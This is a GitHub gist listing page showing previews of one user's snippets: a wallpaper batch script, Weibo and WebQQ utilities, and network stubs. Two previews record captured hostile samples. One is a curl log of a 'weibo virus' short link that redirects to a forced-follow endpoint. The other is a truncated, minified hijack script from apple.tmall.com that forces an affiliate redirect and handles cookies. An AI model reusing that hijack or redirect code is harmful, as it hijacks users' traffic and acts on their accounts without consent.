Skip to content

Instantly share code, notes, and snippets.

View est's full-sized avatar
🤣
<INSERT YOUR ADS HERE>

ᴇsᴛ est

🤣
<INSERT YOUR ADS HERE>
View GitHub Profile
@est
est / change_wallpaper.bat
Created December 4, 2021 11:12
set win10 locksreen wallpaper to users
for /f %%g in ('wmic useraccount where name^="%USERNAME%" get sid ^| findstr ^S\-d*') do set USERSID=%%g
For /f "tokens=3" %%k IN ('reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Creative\%USERSID% /s /v landscapeImage /t REG_SZ ^| findstr /ri "REG_SZ"') do set img_path=%%k
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d %img_path% /f
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
@est
est / keybase.md
Created November 18, 2016 03:34
keybase.md

Keybase proof

I hereby claim:

  • I am est on github.
  • I am est (https://keybase.io/est) on keybase.
  • I have a public key whose fingerprint is 531C BB09 B965 0F8A C997 0C95 5FC2 49DA BED6 708D

To claim this, I am signing this object:

@est
est / test
Created February 27, 2016 06:27
lagou-stats
#
@est
est / t.cn RGKKqug
Created February 24, 2016 03:28
weibo virus
* Hostname was NOT found in DNS cache
* Trying 180.149.135.224...
* Connected to t.cn (180.149.135.224) port 80 (#0)
> GET /RGKKqug HTTP/1.1
> User-Agent: curl/7.35.0
> Host: t.cn
> Accept: */*
>
< HTTP/1.1 302 Found
< Location: http://kan.sina.com.cn/ajax_fun/weibo_friend_create/1682669713
@est
est / hide_weibo.py
Last active December 21, 2015 02:55
hide weibo
#!/usr/bin/env python
# coding: utf8
# this script to hide previous weibo
# MIT license
import re, time, random
import requests
owner_uid = 0 # your uid
@est
est / 1.js
Last active August 29, 2015 14:23
webqq ptwebqq hash implemented in Python & Javascript
u = function(x, K) {
x += "";
for (var N = [], T = 0; T < K.length; T++)
N[T % 4] ^= K.charCodeAt(T);
var U = ["EC", "OK"], V = [];
V[0] = x >> 24 & 255 ^ U[0].charCodeAt(0);
V[1] = x >> 16 & 255 ^ U[0].charCodeAt(1);
V[2] = x >> 8 & 255 ^ U[1].charCodeAt(0);
V[3] = x & 255 ^ U[1].charCodeAt(1);
U = [];
@est
est / 1.py
Created June 9, 2015 08:44
socket broadcast test
import socket
@est
est / tcp_info.py
Created May 26, 2015 07:55
TCP_INFO on mac
# linux: http://lxr.free-electrons.com/source/include/uapi/linux/tcp.h#L148
# Mac: http://www.opensource.apple.com/source/xnu/xnu-2782.1.97/bsd/netinet/tcp.h
@est
est / gist:bdfaa7e94643cad74bd2
Created October 9, 2014 13:17
apple.tmall.com hijack
<html><head><meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no"/></head><body></body></html><script>for(var a=document,d='http://s.click.taobao.com/t?e=m%3D2%26s%3D9h%2FCBrFFjdQcQipKwQzePDAVflQIoZepK7Vc7tFgwiFRAdhuF14FMSWTBz76PfFU79%2FTFaMDK6S6tHyvddgop4tLbbsq4MM6fGxKH7pHIwKA%2BjNW0dJzY69d9eFREVGe',c='-1253340436',k=a.body,l=a.location,m=function(){'0'==0.9.toFixed(0)?l.replace(d):/webki/i.test(navigator.userAgent)?~function(b,f){b=a.createElement('a');b.rel='noreferrer';b.href=d;k.appendChild(b);if(b.click){b.click()}else{try{f=a.createEvent('Event');f.initEvent('click',!1,!1);b.dispatchEvent(f)}catch(e){}}}():(a.write('<meta http-equiv="refresh" content="0;url='+d+'"/>'),a.close())},i=function(b,f){var g=a.createElement('script');g.onload=g.onreadystatechange=function(){/m|ded/i.test(this.readyState||'m')&&f&&setTimeout(function(){f()},100)};g.src=b;k.appendChild(g)},j=a.cookie,n='path=/',o='domain=',p='; ',q=!c.indexOf('-')?j.split('; '):[],r=q.length;r--;){for(var s=q[r].s